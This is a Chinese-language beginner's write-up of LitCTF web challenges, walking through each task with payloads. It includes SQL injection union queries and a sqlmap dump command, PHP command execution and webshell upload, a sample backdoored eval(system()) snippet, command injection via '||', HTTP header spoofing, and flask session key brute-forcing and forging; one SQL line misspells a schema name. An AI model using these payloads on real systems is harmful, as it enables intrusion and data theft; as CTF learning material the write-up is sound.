前言: 不得不说, 这比赛目前是接触下来感觉的最顺心的(虽然参加的比赛也很少...), 原因在于这比赛题目量多, 并且难度很流畅, 对新手真的友好!!(因为我就是新手, 真心能以后再多出来点儿这种比赛)帮助很大的!!!!!
Web
我Flag呢?(初级难度)
查看源代码即可
瞄了一眼发现先这道题是有彩蛋的(彩蛋后面会用到), 我找了半天, 发现在如下图的js文件中
记录一下
LitCTF{First_t0_The_k3y! //第一个彩蛋
看了wp发现也是学到了新东西, 之前对这控制台啥的不太了解(真的菜~)
我们在来回顾一下, 审查代码发现让我们运行如下函数, 做法是将该页面的代码全复制到控制台中的运行框中, 按下回车, 之后在输入指定的运行函数即可
wp说的(对我有用):
当使用元素审查时,切换到控制台可以看到如下提示的.
控制台(Console)
会输出页面资源报错信息 / js的执行信息 包括不限于 控制台输出信息(console.log("content")) js 调试信息 等。
就当无事发生(初级)
有点蒙, 看了一眼提示让我们搜索"github.io是什么页面?" , 那我们搜索一下看看有什么思路
GitHub.io是GitPage的一种,是一个用于展示项目和项目网站的托管工具。GitHub是一个代码托管云服务网站,主要用于存储和管理项目源代码。GitHub.io提供了一个功能,可以创建个人网站。GitHub.io通过基于Jekyll工具的Github pages来自动构建网站,同时本身又是GitHub的repo,为使用者提供完全的内容控制。GitHub是一个让大家把用Git这种版本管理工具管理的内容集中在一起的社区。
唉,还是没啥思路, 看wp吧:
很明显,该page依赖于GitHub仓库,而我们知道对于公开的仓库,每一次git的提交都会有记录,而题目描述也很好的暗示了这一点,因为页面部署需要一定时间,但是提交操作已经生效,所以代码的修改会被Git Commit记录:
所以我们可以猜测,flag在页面第一次创建的时候被提交过,但是出于保密原因迅速就被删掉并且很快进行了第二次提交,所以页面就被覆盖了。我们无法从页面获得,但是,可以在提交记录中找到:
这找的有点费劲, 第一次接触吧算是, 不晓得在哪里可以看到博客的提交记录, 于是我上github上找了找探姬的github, 进一步搜索看到了博客的提交内容记录.
看了别人的wp,真尴尬, 我们可以在右上角的关于中, 看到中间有超链接转到探姬的github主页..
导弹迷踪(初级)
先说我的做法: 看到游戏先玩几下失败了看到页面有level的显示(题目提示也是通关第六关即可得到flag, 但肯定不会手打!!)于是我们在控制台跟进"level"关键词, 成功找到flag
Follow me and hack me (初级)
这题可以说是很初级了,按要求get与post传参即可
接下来看到了彩蛋说是"备份文件还有东西", 那我们可以用工具dirsearch扫一下目录看看有什么或者直接凭借经验在url后面添加www.zip下载压缩包即可
记录下来:
<?php
// 第三个彩蛋!(看过头号玩家么?)
// _R3ady_Pl4yer_000ne_ (3/?)
?>
PHP是世界上最好的语言!!(初级)
说是初级但对我来说有点懵逼-.-, 跟着wp复现吧(没思路)
题目是一个用PHP为后台写的一个意义不明的工具x
题目没有做任何过滤,所以仅考察PHP的基础,一些简单的命令执行函数这样的,看到右边的PHP代码执行框就可以试探性的执行了,关于PHP的基础,目前PHP的基础教程网上也很成熟,读者可自行搜索学习。(但讲实话, 我想不到要往右面的框架上输入命令...)
这里执行system('cat /flag');
Vim yyds(初级)
根据题目提示为信息泄露, 又看到vim编辑器, 翻翻笔记发现如下
Vim缓存
临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "
那我们一次访问一下, 发现访问url/.index.php.swp时,下载了文件, 我们查看发现源码 ,提取重要部分
<?php
$password = "Give_Me_Your_Flag";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
那么思路就是我们POST传入的password要与编码后的(那个字符串)内容相等才能执行eval函数
编码后的内容为: R2l2ZV9NZV9Zb3VyX0ZsYWc=
接着如下图传入相应参数发现flag在根目录, cat /flag即可
作业管理系统 (中级)
首先是一个用户登录页面, 我们查看源码发现hint, 登陆看看
现在我看到这页面想到的就是文件上传漏洞, 应该是搞个一句话木马, 用蚁剑连接什么的
接下来我们先上传一句话木马试试
出乎意料似乎对上传的文件没什么限制, 那我们用hackbar访问我们上传的shell.php, 看看是否确实上传成功
注意:这里上传的文件在本目录的原因是由于前端页面不显示,上传文件后看不到,但是从上传功能区的 " ./ " 可以得知就是在当前目录(官方解释)
如图发现成功上传, 那我们rce一下, 执行1=system('cat /flag');这里过程不再赘述, flag在根目录中
当然这里上传成功后我们也可以选择蚁剑连接, 成功连接后进入内容管理在根目录即可看到flag
这里还有其他解法, 我们参考wp走走
远程下载也有多种解法,当然如果上传有黑名单限制 但是远程下载没有 则可以用远程下载去下载PHP木马文件,然后剩余的步骤和上传木马的操作一样 不多做说明。
输入如下图的内容, 下载后点击编辑文件即可看到flag
解法三:直接编辑读取
如果你没有想到 file:// 协议,但是你在上传文件的时候 使用了编辑功能,不妨观察它的Url:
http://node4.anna.nssctf.cn:28090/index.php?op=edit&fename=uploadFileName&folder=./
由于页面所有的操作只有登录这一个鉴权,所有操作都没用敏感目录的过滤(完全没有过滤),所以这个地方我们直接修改路径为根目录,文件名字为flag ?op=edit&fename=flag&folder=/
彩蛋:访问如下网址
记录一下: _S0_ne3t? (2/?)
这是什么?SQL !注一下 !(中级)
提示我们是sql注入, 并且如下图已经告诉我们闭合方式了, 我们直接手工注入或者sqlmap即可
并且题目提示我们只有username, password两列, 不需要group by去判断列数了
爆库名:
1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+
爆表名:(这里直接爆flag所在的了)
1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+
爆列名:
1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+
自此得知flag在ctftraining的flag表中, 那我们联合查询即可
1)))))) union select 1, flag from ctftraining.flag --+
当然也可以用sqlmap跑
sqlmap -u "http://node1.anna.nssctf.cn:28742/?id=1" -D ctftraining -T flag -C flag --dump
彩蛋: 输入id=2即可看到 F1rst_to_Th3_eggggggggg!}
Http pro max plus (中级)
这题无从下手, 跟着wp走吧
考点:考点为HTTP Request Header
1.只允许本地访问
题目禁用了 xff (X-Forwarded-For)
这里使用的Client-ip去伪造本地访问。
这里说我们不是来自这个网站, 那我们就构造refer头
又让我们用Chrome浏览器,那我们构造ua头
这里又让我们上代理, 构造via
访问该地址
查看源码发现如下
接续访问得到flag
接下来让我们了解一下http头吧, 这上面的我老多都忘了(当然是记我笔记了, 不可能白嫖的)
如果想要了解更多关于http头部的信息可以参考 HTTP 标头(header) - HTTP | MDN
彩蛋 (高级)
这里汇总一下之前的彩蛋即可:
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
1zjs(高级)
首先审查元素发现如下
访问上面的地址看看
继续访问看看
好了, 陷入盲区了,看看wp
很典型的 JSfuck 如果你不了解 你可以去搜索引擎检索JSfuck的相关信息,除了js 还有很多语言有这样的特性,读者可以自行了解。
而JSfuck本质上还是js代码,我们在上面说到,控制台能执行js代码,所以直接在控制台执行即可:得到flag
Flag点击就送!(高级)
这题没思路, 跟wp
考点为 flask session 伪造
密钥为 LitCTF 有点猜谜成分,已经暴打出题人。
进入页面后
那我们输入几个看看 , 输入flag
输入admin
所以到这里大致的方向就是去伪造 admin 的 session。
这里假设 有一个字典 我们尝试用这个字典去爆破正确的密钥:
pass.txt:
...
LitCTF2023
LitCTF
这里我们使用 flask-unsign
安装方法:
pip3 install flask-unsign[wordlist]
然后指定字典爆破:
跟到目录下输入命令进行爆破,确定秘钥为LitCTF
$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 2 attempts
b'LitCTF'
确定是 LitCTF 为密钥后就可以进行伪造,这里一把梭脚本(感谢./Tao师傅)
以上是wp做法, 我弄不懂, 看了看别人的wp, 直接上github找工具包吧
工具链接: https://github.com/noraj/flask-session-cookie-manager
这里懒了直接下载zip拖进kali, cd到指定目录后输入以下指令
解密: python flask_session_cookie_manager3.py decode -s “LitCTF” -c “eyJuYW1lIjoiamF5In0.ZGCa_w.8Lc4BMfby2EluMdcKhltNqwyZxk”
若成功解密则说明"LitCTF"是正确的key,那我们对"{'name':'admin'}"进行加密即可
加密:
python flask_session_cookie_manager3.py encode -s “LitCTF” -t “{‘name’: ‘admin’}
得到数据后抓包修改cookie发包即可
Ping
依旧没啥思路, 跟着wp
JS禁用
因为前端验证依靠JS脚本,所以直接禁用js脚本就可以执行任意命令了:
payload:
1.1.1.1 || cat /flag
//管道符的作用, 大家可以自行下去查阅, 这里页面本来就是要求我们只能输入ip, 那我们可以用
||: 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
试了几下似乎, ||符号前面什么都可以, 均可以回显flag
这里在介绍一种方法
查看源代码发现前端使用check_ip()函数来校验, 看了看wp, 我们可以将函数体置空
不过没有更细节的教程, 我太菜了不知道如何用
总之,放个官方wp链接